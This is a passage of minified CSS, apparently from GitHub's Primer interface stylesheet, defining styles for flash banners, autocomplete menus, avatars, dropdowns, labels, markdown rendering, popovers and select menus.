.octicon{color:var(--color-danger-fg)}.flash-success{color:var(--color-fg-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.flash-success .octicon{color:var(--color-success-fg)}.flash-full{margin-top:-1px;border-width:1px 0;border-radius:0}.flash-banner{position:fixed;top:0;z-index:90;width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.flash-full,.flash-banner{background-color:var(--color-canvas-default)}.warning{padding:.5em;margin-bottom:.8em;font-weight:600;background-color:var(--color-attention-subtle)}.autocomplete-label-stacked{display:block;margin-bottom:6px}.autocomplete-label-inline{display:inline;margin-right:6px}@media(max-width: 544px){.autocomplete-label-inline{display:block;margin-bottom:6px}}.autocomplete-body{position:relative;display:inline}.autocomplete-embedded-icon-wrap{display:inline-flex;padding:4px 8px;align-items:center}.autocomplete-embedded-icon-wrap:focus-within{border-color:var(--color-accent-fg);border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.autocomplete-embedded-icon-wrap .form-control{padding:0;margin-left:8px;border:none;box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus{box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus-visible{box-shadow:none}.autocomplete-results{position:absolute;left:0;z-index:99;width:max-content;min-width:100%;max-height:20em;overflow-y:auto;font-size:13px;list-style:none;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.autocomplete-item{display:block;width:100%;padding:4px 8px;overflow:hidden;font-weight:600;color:var(--color-fg-default);text-align:left;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;background-color:var(--color-canvas-overlay);border:0}.autocomplete-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item:hover *{color:inherit !important}.autocomplete-item.selected,.autocomplete-item[aria-selected=true],.autocomplete-item.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item.selected *,.autocomplete-item[aria-selected=true] *,.autocomplete-item.navigation-focus *{color:inherit !important}.suggester{position:relative;top:0;left:0;min-width:180px;padding:0;margin:0;margin-top:24px;list-style:none;cursor:pointer;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.suggester li{display:block;padding:4px 8px;font-weight:500;border-bottom:1px solid var(--color-border-muted)}.suggester li small{font-weight:400;color:var(--color-fg-muted)}.suggester li:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.suggester li:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.suggester li:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li:hover small{color:var(--color-fg-on-emphasis)}.suggester li:hover .octicon{color:inherit !important}.suggester li[aria-selected=true],.suggester li.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li[aria-selected=true] small,.suggester li.navigation-focus small{color:var(--color-fg-on-emphasis)}.suggester li[aria-selected=true] .octicon,.suggester li.navigation-focus .octicon{color:inherit !important}.suggester-container{position:absolute;top:0;left:0;z-index:30}@media(max-width: 544px){.page-responsive .suggester-container{right:8px !important;left:8px !important}.page-responsive .suggester li{padding:8px 16px}}.avatar{display:inline-block;overflow:hidden;line-height:1;vertical-align:middle;background-color:var(--color-avatar-bg);border-radius:6px;flex-shrink:0;box-shadow:0 0 0 1px var(--color-avatar-border)}.avatar-link{float:left;line-height:1}.avatar-group-item{display:inline-block;margin-bottom:3px}.avatar-1,.avatar-2,.avatar-small{border-radius:4px}.avatar-1{width:16px;height:16px}.avatar-2{width:20px;height:20px}.avatar-3{width:24px;height:24px}.avatar-4{width:28px;height:28px}.avatar-5{width:32px;height:32px}.avatar-6{width:40px;height:40px}.avatar-7{width:48px;height:48px}.avatar-8{width:64px;height:64px}.avatar-parent-child{position:relative}.avatar-child{position:absolute;right:-15%;bottom:-9%;background-color:var(--color-canvas-default);border-radius:4px;box-shadow:var(--color-avatar-child-shadow)}.AvatarStack{position:relative;min-width:26px;height:20px}.AvatarStack .AvatarStack-body{position:absolute}.AvatarStack.AvatarStack--two{min-width:36px}.AvatarStack.AvatarStack--three-plus{min-width:46px}.AvatarStack-body{display:flex;background:var(--color-canvas-default)}.AvatarStack-body .avatar{position:relative;z-index:2;display:flex;width:20px;height:20px;box-sizing:content-box;margin-right:-11px;background-color:var(--color-canvas-default);border-right:1px solid var(--color-canvas-default);border-radius:4px;box-shadow:none;transition:margin .1s ease-in-out}.AvatarStack-body .avatar:first-child{z-index:3}.AvatarStack-body .avatar:last-child{z-index:1;border-right:0}.AvatarStack-body .avatar img{border-radius:4px}.AvatarStack-body .avatar:nth-child(n+4){display:none;opacity:0}.AvatarStack-body:hover .avatar{margin-right:3px}.AvatarStack-body:hover .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack-body:hover .avatar-more{display:none !important}.avatar.avatar-more{z-index:1;margin-right:0;background:var(--color-canvas-subtle)}.avatar.avatar-more::before,.avatar.avatar-more::after{position:absolute;display:block;height:20px;content:"";border-radius:2px;outline:1px solid var(--color-canvas-default)}.avatar.avatar-more::before{width:17px;background:var(--color-avatar-stack-fade-more)}.avatar.avatar-more::after{width:14px;background:var(--color-avatar-stack-fade)}.AvatarStack--right .AvatarStack-body{right:0;flex-direction:row-reverse}.AvatarStack--right .AvatarStack-body:hover .avatar{margin-right:0;margin-left:3px}.AvatarStack--right .avatar.avatar-more{background:var(--color-avatar-stack-fade)}.AvatarStack--right .avatar.avatar-more::before{width:5px}.AvatarStack--right .avatar.avatar-more::after{width:2px;background:var(--color-canvas-subtle)}.AvatarStack--right .avatar{margin-right:0;margin-left:-11px;border-right:0;border-left:1px solid var(--color-canvas-default)}.CircleBadge{display:flex;align-items:center;justify-content:center;background-color:var(--color-canvas-default);border-radius:50%;box-shadow:var(--color-shadow-medium)}.CircleBadge-icon{max-width:60% !important;height:auto !important;max-height:55% !important}.CircleBadge--small{width:56px;height:56px}.CircleBadge--medium{width:96px;height:96px}.CircleBadge--large{width:128px;height:128px}.DashedConnection{position:relative}.DashedConnection::before{position:absolute;top:50%;left:0;width:100%;content:"";border-bottom:2px dashed var(--color-border-default)}.DashedConnection .CircleBadge{position:relative}.blankslate{position:relative;padding:32px;text-align:center}.blankslate p{color:var(--color-fg-muted)}.blankslate code{padding:2px 5px 3px;font-size:14px;background:var(--color-canvas-default);border:1px solid var(--color-border-muted);border-radius:6px}.blankslate img{width:56px;height:56px}.blankslate-icon{margin-right:4px;margin-bottom:8px;margin-left:4px;color:var(--color-fg-muted)}.blankslate-image{margin-bottom:16px}.blankslate-heading{margin-bottom:4px}.blankslate-action{margin-top:16px}.blankslate-action:first-of-type{margin-top:24px}.blankslate-action:last-of-type{margin-bottom:8px}.blankslate-capped{border-radius:0 0 6px 6px}.blankslate-spacious{padding:80px 40px}.blankslate-narrow{max-width:485px;margin:0 auto}.blankslate-large img{width:80px;height:80px}.blankslate-large h3{margin:16px 0;font-size:24px}.blankslate-large p{font-size:16px}.blankslate-clean-background{border:0}.branch-name{display:inline-block;padding:2px 6px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);word-break:break-all;background-color:var(--color-accent-subtle);border-radius:6px}.branch-name .octicon{margin:1px -2px 0 0;color:var(--color-fg-muted)}a.branch-name{color:var(--color-accent-fg);background-color:var(--color-accent-subtle)}a.branch-name .octicon{color:var(--color-accent-fg)}.dropdown{position:relative}.dropdown-caret{display:inline-block;width:0;height:0;vertical-align:middle;content:"";border-style:solid;border-width:4px 4px 0;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.dropdown-menu{position:absolute;top:100%;left:0;z-index:100;width:160px;padding-top:4px;padding-bottom:4px;margin-top:2px;list-style:none;background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.dropdown-menu::before,.dropdown-menu::after{position:absolute;display:inline-block;content:""}.dropdown-menu::before{border:8px solid transparent;border-bottom-color:var(--color-border-default)}.dropdown-menu::after{border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.dropdown-menu>ul{list-style:none}.dropdown-menu-no-overflow{width:auto}.dropdown-menu-no-overflow .dropdown-item{padding:4px 16px;overflow:visible;text-overflow:inherit}.dropdown-item{display:block;padding:4px 8px 4px 16px;overflow:hidden;color:var(--color-fg-default);text-overflow:ellipsis;white-space:nowrap}.dropdown-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.dropdown-item:hover>.octicon{color:inherit;opacity:1}.dropdown-item:hover [class*=color-text-]{color:inherit !important}.dropdown-item:hover>.Label{color:inherit !important;border-color:currentColor}.dropdown-item.btn-link{width:100%;text-align:left}.dropdown-signout{width:100%;text-align:left;background:none;border:0}.dropdown-divider{display:block;height:0;margin:8px 0;border-top:1px solid var(--color-border-default)}.dropdown-header{padding:4px 16px;font-size:12px;color:var(--color-fg-muted)}.dropdown-item[aria-checked=false] .octicon-check{display:none}.dropdown-menu-w{top:0;right:100%;left:auto;width:auto;margin-top:0;margin-right:8px}.dropdown-menu-w::before{top:10px;right:-16px;left:auto;border-color:transparent;border-left-color:var(--color-border-default)}.dropdown-menu-w::after{top:11px;right:-14px;left:auto;border-color:transparent;border-left-color:var(--color-canvas-overlay)}.dropdown-menu-e{top:0;left:100%;width:auto;margin-top:0;margin-left:8px}.dropdown-menu-e::before{top:10px;left:-16px;border-color:transparent;border-right-color:var(--color-border-default)}.dropdown-menu-e::after{top:11px;left:-14px;border-color:transparent;border-right-color:var(--color-canvas-overlay)}.dropdown-menu-ne{top:auto;bottom:100%;left:0;margin-bottom:3px}.dropdown-menu-ne::before,.dropdown-menu-ne::after{top:auto;right:auto}.dropdown-menu-ne::before{bottom:-8px;left:9px;border-top:8px solid var(--color-border-default);border-right:8px solid transparent;border-bottom:0;border-left:8px solid transparent}.dropdown-menu-ne::after{bottom:-7px;left:10px;border-top:7px solid var(--color-canvas-overlay);border-right:7px solid transparent;border-bottom:0;border-left:7px solid transparent}.dropdown-menu-s{right:50%;left:auto;transform:translateX(50%)}.dropdown-menu-s::before{top:-16px;right:50%;transform:translateX(50%)}.dropdown-menu-s::after{top:-14px;right:50%;transform:translateX(50%)}.dropdown-menu-sw{right:0;left:auto}.dropdown-menu-sw::before{top:-16px;right:9px;left:auto}.dropdown-menu-sw::after{top:-14px;right:10px;left:auto}.dropdown-menu-se::before{top:-16px;left:9px}.dropdown-menu-se::after{top:-14px;left:10px}.Header{z-index:32;display:flex;padding:16px;font-size:14px;line-height:1.5;color:var(--color-header-text);background-color:var(--color-header-bg);align-items:center;flex-wrap:nowrap}.Header-item{display:flex;margin-right:16px;align-self:stretch;align-items:center;flex-wrap:nowrap}.Header-item--full{flex:auto}.Header-link{font-weight:600;color:var(--color-header-logo);white-space:nowrap}.Header-link:hover,.Header-link:focus{color:var(--color-header-text);text-decoration:none}.Header-input{color:var(--color-header-text);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border);box-shadow:none}.Header-input::placeholder{color:rgba(255,255,255,.75)}.IssueLabel{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em}.IssueLabel .g-emoji{position:relative;top:-0.05em;display:inline-block;font-size:1em;line-height:1}.IssueLabel:hover{text-decoration:none}.IssueLabel--big{padding-right:10px;padding-left:10px;line-height:22px}.labels{position:relative}.label,.Label{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.label:hover,.Label:hover{text-decoration:none}.Label--large{padding-right:10px;padding-left:10px;line-height:22px}.Label--inline{display:inline;padding:.12em .5em;font-size:85%}.Label--primary{color:var(--color-fg-default);border-color:var(--color-neutral-emphasis)}.Label--secondary{color:var(--color-fg-muted);border-color:var(--color-border-default)}.Label--info,.Label--accent{color:var(--color-accent-fg);border-color:var(--color-accent-emphasis)}.Label--success{color:var(--color-success-fg);border-color:var(--color-success-emphasis)}.Label--warning,.Label--attention{color:var(--color-attention-fg);border-color:var(--color-attention-emphasis)}.Label--severe{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label--danger{color:var(--color-danger-fg);border-color:var(--color-danger-emphasis)}.Label--open{color:var(--color-open-fg);border-color:var(--color-open-emphasis)}.Label--closed{color:var(--color-closed-fg);border-color:var(--color-closed-emphasis)}.Label--done{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label--sponsors{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}.state,.State{display:inline-block;padding:5px 12px;font-size:14px;font-weight:500;line-height:20px;text-align:center;white-space:nowrap;border-radius:2em}.state,.State,.State--draft{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.State--open{color:var(--color-fg-on-emphasis);background-color:var(--color-open-emphasis)}.State--merged{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis)}.State--closed{color:var(--color-fg-on-emphasis);background-color:var(--color-closed-emphasis)}.State--small{padding:0 10px;font-size:12px;line-height:24px}.State--small .octicon{width:1em}.Counter{display:inline-block;min-width:20px;padding:0 6px;font-size:12px;font-weight:500;line-height:18px;color:var(--color-fg-default);text-align:center;background-color:var(--color-neutral-muted);border:1px solid var(--color-counter-border);border-radius:2em}.Counter:empty{display:none}.Counter .octicon{vertical-align:text-top;opacity:.8}.Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.Counter--secondary{color:var(--color-fg-muted);background-color:var(--color-neutral-subtle)}.diffstat{font-size:12px;font-weight:600;color:var(--color-fg-muted);white-space:nowrap;cursor:default}.diffstat-block-deleted,.diffstat-block-added,.diffstat-block-neutral{display:inline-block;width:8px;height:8px;margin-left:1px;outline-offset:-1px}.diffstat-block-deleted{background-color:var(--color-danger-emphasis);outline:1px solid var(--color-border-subtle)}.diffstat-block-added{background-color:var(--color-diffstat-addition-bg);outline:1px solid var(--color-border-subtle)}.diffstat-block-neutral{background-color:var(--color-neutral-muted);outline:1px solid var(--color-border-subtle)}.AnimatedEllipsis{display:inline-block;overflow:hidden;vertical-align:bottom}.AnimatedEllipsis::after{display:inline-block;content:"...";animation:AnimatedEllipsis-keyframes 1.2s steps(4, jump-none) infinite}@keyframes AnimatedEllipsis-keyframes{0%{transform:translateX(-100%)}}.markdown-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body .absent{color:var(--color-danger-fg)}.markdown-body .anchor{float:left;padding-right:4px;margin-left:-20px;line-height:1}.markdown-body .anchor:focus{outline:none}.markdown-body p,.markdown-body blockquote,.markdown-body ul,.markdown-body ol,.markdown-body dl,.markdown-body table,.markdown-body pre,.markdown-body details{margin-top:0;margin-bottom:16px}.markdown-body hr{height:.25em;padding:0;margin:24px 0;background-color:var(--color-border-default);border:0}.markdown-body blockquote{padding:0 1em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.markdown-body blockquote>:first-child{margin-top:0}.markdown-body blockquote>:last-child{margin-bottom:0}.markdown-body h1,.markdown-body h2,.markdown-body h3,.markdown-body h4,.markdown-body h5,.markdown-body h6{margin-top:24px;margin-bottom:16px;font-weight:600;line-height:1.25}.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{color:var(--color-fg-default);vertical-align:middle;visibility:hidden}.markdown-body h1:hover .anchor,.markdown-body h2:hover .anchor,.markdown-body h3:hover .anchor,.markdown-body h4:hover .anchor,.markdown-body h5:hover .anchor,.markdown-body h6:hover .anchor{text-decoration:none}.markdown-body h1:hover .anchor .octicon-link,.markdown-body h2:hover .anchor .octicon-link,.markdown-body h3:hover .anchor .octicon-link,.markdown-body h4:hover .anchor .octicon-link,.markdown-body h5:hover .anchor .octicon-link,.markdown-body h6:hover .anchor .octicon-link{visibility:visible}.markdown-body h1 tt,.markdown-body h1 code,.markdown-body h2 tt,.markdown-body h2 code,.markdown-body h3 tt,.markdown-body h3 code,.markdown-body h4 tt,.markdown-body h4 code,.markdown-body h5 tt,.markdown-body h5 code,.markdown-body h6 tt,.markdown-body h6 code{padding:0 .2em;font-size:inherit}.markdown-body h1{padding-bottom:.3em;font-size:2em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h2{padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h3{font-size:1.25em}.markdown-body h4{font-size:1em}.markdown-body h5{font-size:.875em}.markdown-body h6{font-size:.85em;color:var(--color-fg-muted)}.markdown-body summary h1,.markdown-body summary h2,.markdown-body summary h3,.markdown-body summary h4,.markdown-body summary h5,.markdown-body summary h6{display:inline-block}.markdown-body summary h1 .anchor,.markdown-body summary h2 .anchor,.markdown-body summary h3 .anchor,.markdown-body summary h4 .anchor,.markdown-body summary h5 .anchor,.markdown-body summary h6 .anchor{margin-left:-40px}.markdown-body summary h1,.markdown-body summary h2{padding-bottom:0;border-bottom:0}.markdown-body ul,.markdown-body ol{padding-left:2em}.markdown-body ul.no-list,.markdown-body ol.no-list{padding:0;list-style-type:none}.markdown-body ol[type="1"]{list-style-type:decimal}.markdown-body ol[type=a]{list-style-type:lower-alpha}.markdown-body ol[type=i]{list-style-type:lower-roman}.markdown-body div>ol:not([type]){list-style-type:decimal}.markdown-body ul ul,.markdown-body ul ol,.markdown-body ol ol,.markdown-body ol ul{margin-top:0;margin-bottom:0}.markdown-body li>p{margin-top:16px}.markdown-body li+li{margin-top:.25em}.markdown-body dl{padding:0}.markdown-body dl dt{padding:0;margin-top:16px;font-size:1em;font-style:italic;font-weight:600}.markdown-body dl dd{padding:0 16px;margin-bottom:16px}.markdown-body table{display:block;width:100%;width:max-content;max-width:100%;overflow:auto}.markdown-body table th{font-weight:600}.markdown-body table th,.markdown-body table td{padding:6px 13px;border:1px solid var(--color-border-default)}.markdown-body table tr{background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-muted)}.markdown-body table tr:nth-child(2n){background-color:var(--color-canvas-subtle)}.markdown-body table img{background-color:transparent}.markdown-body img{max-width:100%;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body img[align=right]{padding-left:20px}.markdown-body img[align=left]{padding-right:20px}.markdown-body .emoji{max-width:none;vertical-align:text-top;background-color:transparent}.markdown-body span.frame{display:block;overflow:hidden}.markdown-body span.frame>span{display:block;float:left;width:auto;padding:7px;margin:13px 0 0;overflow:hidden;border:1px solid var(--color-border-default)}.markdown-body span.frame span img{display:block;float:left}.markdown-body span.frame span span{display:block;padding:5px 0 0;clear:both;color:var(--color-fg-default)}.markdown-body span.align-center{display:block;overflow:hidden;clear:both}.markdown-body span.align-center>span{display:block;margin:13px auto 0;overflow:hidden;text-align:center}.markdown-body span.align-center span img{margin:0 auto;text-align:center}.markdown-body span.align-right{display:block;overflow:hidden;clear:both}.markdown-body span.align-right>span{display:block;margin:13px 0 0;overflow:hidden;text-align:right}.markdown-body span.align-right span img{margin:0;text-align:right}.markdown-body span.float-left{display:block;float:left;margin-right:13px;overflow:hidden}.markdown-body span.float-left span{margin:13px 0 0}.markdown-body span.float-right{display:block;float:right;margin-left:13px;overflow:hidden}.markdown-body span.float-right>span{display:block;margin:13px auto 0;overflow:hidden;text-align:right}.markdown-body code,.markdown-body tt{padding:.2em .4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body code br,.markdown-body tt br{display:none}.markdown-body del code{text-decoration:inherit}.markdown-body samp{font-size:85%}.markdown-body pre{word-wrap:normal}.markdown-body pre code{font-size:100%}.markdown-body pre>code{padding:0;margin:0;word-break:normal;white-space:pre;background:transparent;border:0}.markdown-body .highlight{margin-bottom:16px}.markdown-body .highlight pre{margin-bottom:0;word-break:normal}.markdown-body .highlight pre,.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-radius:6px}.markdown-body pre code,.markdown-body pre tt{display:inline;max-width:auto;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body .csv-data td,.markdown-body .csv-data th{padding:5px;overflow:hidden;font-size:12px;line-height:1;text-align:left;white-space:nowrap}.markdown-body .csv-data .blob-num{padding:10px 8px 9px;text-align:right;background:var(--color-canvas-default);border:0}.markdown-body .csv-data tr{border-top:0}.markdown-body .csv-data th{font-weight:600;background:var(--color-canvas-subtle);border-top:0}.markdown-body [data-footnote-ref]::before{content:"["}.markdown-body [data-footnote-ref]::after{content:"]"}.markdown-body .footnotes{font-size:12px;color:var(--color-fg-muted);border-top:1px solid var(--color-border-default)}.markdown-body .footnotes ol{padding-left:16px}.markdown-body .footnotes li{position:relative}.markdown-body .footnotes li:target::before{position:absolute;top:-8px;right:-8px;bottom:-8px;left:-24px;pointer-events:none;content:"";border:2px solid var(--color-accent-emphasis);border-radius:6px}.markdown-body .footnotes li:target{color:var(--color-fg-default)}.markdown-body .footnotes .data-footnote-backref g-emoji{font-family:monospace}.Popover{position:absolute;z-index:100}.Popover-message{position:relative;width:232px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px}.Popover-message::before,.Popover-message::after{position:absolute;left:50%;display:inline-block;content:""}.Popover-message::before{top:-16px;margin-left:-9px;border:8px solid transparent;border-bottom-color:var(--color-border-default)}.Popover-message::after{top:-14px;margin-left:-8px;border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.Popover-message--no-caret::before,.Popover-message--no-caret::after{display:none}.Popover-message--bottom::before,.Popover-message--bottom::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{top:auto;border-bottom-color:transparent}.Popover-message--bottom::before,.Popover-message--bottom-right::before,.Popover-message--bottom-left::before{bottom:-16px;border-top-color:var(--color-border-default)}.Popover-message--bottom::after,.Popover-message--bottom-right::after,.Popover-message--bottom-left::after{bottom:-14px;border-top-color:var(--color-canvas-overlay)}.Popover-message--top-right,.Popover-message--bottom-right{right:-9px;margin-right:0}.Popover-message--top-right::before,.Popover-message--top-right::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after{left:auto;margin-left:0}.Popover-message--top-right::before,.Popover-message--bottom-right::before{right:20px}.Popover-message--top-right::after,.Popover-message--bottom-right::after{right:21px}.Popover-message--top-left,.Popover-message--bottom-left{left:-9px;margin-left:0}.Popover-message--top-left::before,.Popover-message--top-left::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{left:24px;margin-left:0}.Popover-message--top-left::after,.Popover-message--bottom-left::after{left:25px}.Popover-message--right::before,.Popover-message--right::after,.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left::before,.Popover-message--left::after,.Popover-message--left-top::before,.Popover-message--left-top::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:50%;left:auto;margin-left:0;border-bottom-color:transparent}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before,.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{margin-top:-9px}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after,.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{margin-top:-8px}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before{right:-16px;border-left-color:var(--color-border-default)}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after{right:-14px;border-left-color:var(--color-canvas-overlay)}.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{left:-16px;border-right-color:var(--color-border-default)}.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{left:-14px;border-right-color:var(--color-canvas-overlay)}.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--left-top::before,.Popover-message--left-top::after{top:24px}.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:auto}.Popover-message--right-bottom::before,.Popover-message--left-bottom::before{bottom:16px}.Popover-message--right-bottom::after,.Popover-message--left-bottom::after{bottom:17px}@media(min-width: 544px){.Popover-message--large{min-width:320px}}@media(max-width: 767.98px){.Popover{position:fixed;top:auto !important;right:0 !important;bottom:0 !important;left:0 !important}.Popover-message{top:auto;right:auto;bottom:auto;left:auto;width:auto !important;margin:8px}.Popover-message>.btn-octicon{padding:12px !important}.Popover-message::after,.Popover-message::before{display:none}}.Progress{display:flex;height:8px;overflow:hidden;background-color:var(--color-neutral-muted);border-radius:6px;outline:1px solid transparent}.Progress--large{height:10px}.Progress--small{height:5px}.Progress-item{outline:2px solid transparent}.Progress-item+.Progress-item{margin-left:2px}.SelectMenu{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:flex;padding:16px;pointer-events:none;flex-direction:column}@media(min-width: 544px){.SelectMenu{position:absolute;top:auto;right:auto;bottom:auto;left:auto;padding:0}}.SelectMenu::before{position:absolute;top:0;right:0;bottom:0;left:0;pointer-events:none;content:"";background-color:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.SelectMenu::before{display:none}}.SelectMenu-modal{position:relative;z-index:99;display:flex;max-height:66%;margin:auto 0;overflow:hidden;pointer-events:auto;flex-direction:column;background-color:var(--color-canvas-overlay);border:1px solid var(--color-select-menu-backdrop-border);border-radius:12px;box-shadow:var(--color-shadow-large);animation:SelectMenu-modal-animation .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}@keyframes SelectMenu-modal-animation{0%{opacity:0;transform:scale(0.9)}}@keyframes SelectMenu-modal-animation--sm{0%{opacity:0;transform:translateY(-16px)}}@media(min-width: 544px){.SelectMenu-modal{width:300px;height:auto;max-height:480px;margin:8px 0 16px 0;font-size:12px;border-color:var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large);animation-name:SelectMenu-modal-animation--sm}}.SelectMenu-header{display:flex;padding:16px;flex:none;align-items:center;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-header{padding:7px 7px 7px 16px}}.SelectMenu-title{flex:1;font-size:14px;font-weight:600}@media(min-width: 544px){.SelectMenu-title{font-size:inherit}}.SelectMenu-closeButton{padding:16px;margin:-16px;line-height:1;color:var(--color-fg-muted);background-color:transparent;border:0}@media(min-width: 544px){.SelectMenu-closeButton{padding:8px;margin:-8px -7px}}.SelectMenu-filter{padding:16px;margin:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-filter{padding:8px}}.SelectMenu-input{display:block;width:100%}@media(min-width: 544px){.SelectMenu-input{font-size:14px}}.SelectMenu-list{position:relative;padding:0;margin:0;margin-bottom:-1px;flex:auto;overflow-x:hidden;overflow-y:auto;background-color:var(--color-canvas-overlay);-webkit-overflow-scrolling:touch}.SelectMenu-item{display:flex;align-items:center;width:100%;padding:16px;overflow:hidden;color:var(--color-fg-default);text-align:left;cursor:pointer;background-color:var(--color-canvas-overlay);border:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-item{padding-top:7px;padding-bottom:7px}}.SelectMenu-list--borderless .SelectMenu-item{border-bottom:0}.SelectMenu-icon{width:16px;margin-right:8px;flex-shrink:0}.SelectMenu-icon--check{visibility:hidden;transition:transform .12s cubic-bezier(0.5, 0.1, 1, 0.5),visibility 0s .12s linear;transform:scale(0)}.SelectMenu-tabs{display:flex;flex-shrink:0;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:touch}.SelectMenu-tabs::-webkit-scrollbar{display:none}@media(min-width: 544px){.SelectMenu-tabs{padding:8px 8px 0 8px}}.SelectMenu-tab{flex:1;padding:8px 16px;font-size:12px;font-weight:500;color:var(--color-fg-muted);text-align:center;background-color:transparent;border:0;box-shadow:inset 0 -1px 0 var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab{flex:none;padding:4px 16px;border:1px solid transparent;border-bottom-width:0;border-top-left-radius:6px;border-top-right-radius:6px}}.SelectMenu-tab[aria-selected=true]{z-index:1;color:var(--color-fg-default);cursor:default;background-color:var(--color-canvas-overlay);box-shadow:0 0 0 1px var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab[aria-selected=true]{border-color:var(--color-border-muted);box-shadow:none}}.SelectMenu-message{padding:7px 16px;text-align:center;background-color:var(--color-canvas-overlay);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-blankslate,.SelectMenu-loading{padding:24px 16px;text-align:center;background-color:var(--color-canvas-overlay)}.SelectMenu-divider{padding:4px 16px;margin:0;font-size:12px;font-weight:500;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider{border-top:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider:empty{padding:0;border-top:0}.SelectMenu-footer{z-index:0;padding:8px 